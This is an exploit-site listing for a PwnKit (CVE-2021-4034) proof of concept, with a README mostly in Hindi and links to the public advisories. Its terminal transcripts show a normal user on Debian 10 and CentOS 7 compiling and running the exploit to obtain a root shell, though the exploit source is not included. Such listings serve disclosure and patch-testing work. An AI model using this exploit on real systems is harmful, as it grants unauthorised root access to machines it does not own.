Sploitus

Exploit for CVE-2021-4034

kitploit · 2026-08-28

Exploit Code

MARKDOWN37 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ARTHEPSY-CVE-2021-4034
# CVE-2021-4034

PwnKit के लिए PoC: polkit के pkexec में स्थानीय विशेषाधिकार वृद्धि भेद्यता (CVE-2021-4034)

https://seclists.org/oss-sec/2022/q1/80  
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

# PoC

Debian 10 और CentOS 7 पर सत्यापित।

root@kitploit:~
    
    
    user@debian:~$ grep PRETTY /etc/os-release
    PRETTY_NAME="Debian GNU/Linux 10 (buster)"
    user@debian:~$ id
    uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
    user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
    user@debian:~$ ./cve-2021-4034-poc
    # id
    uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
    

root@kitploit:~
    
    
    [user@centos ~]$ grep PRETTY /etc/os-release
    PRETTY_NAME="CentOS Linux 7 (Core)"
    [user@centos ~]$ id
    uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    [user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
    [user@centos ~]$ ./cve-2021-4034-poc
    sh-4.2# id
    uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    sh-4.2# exit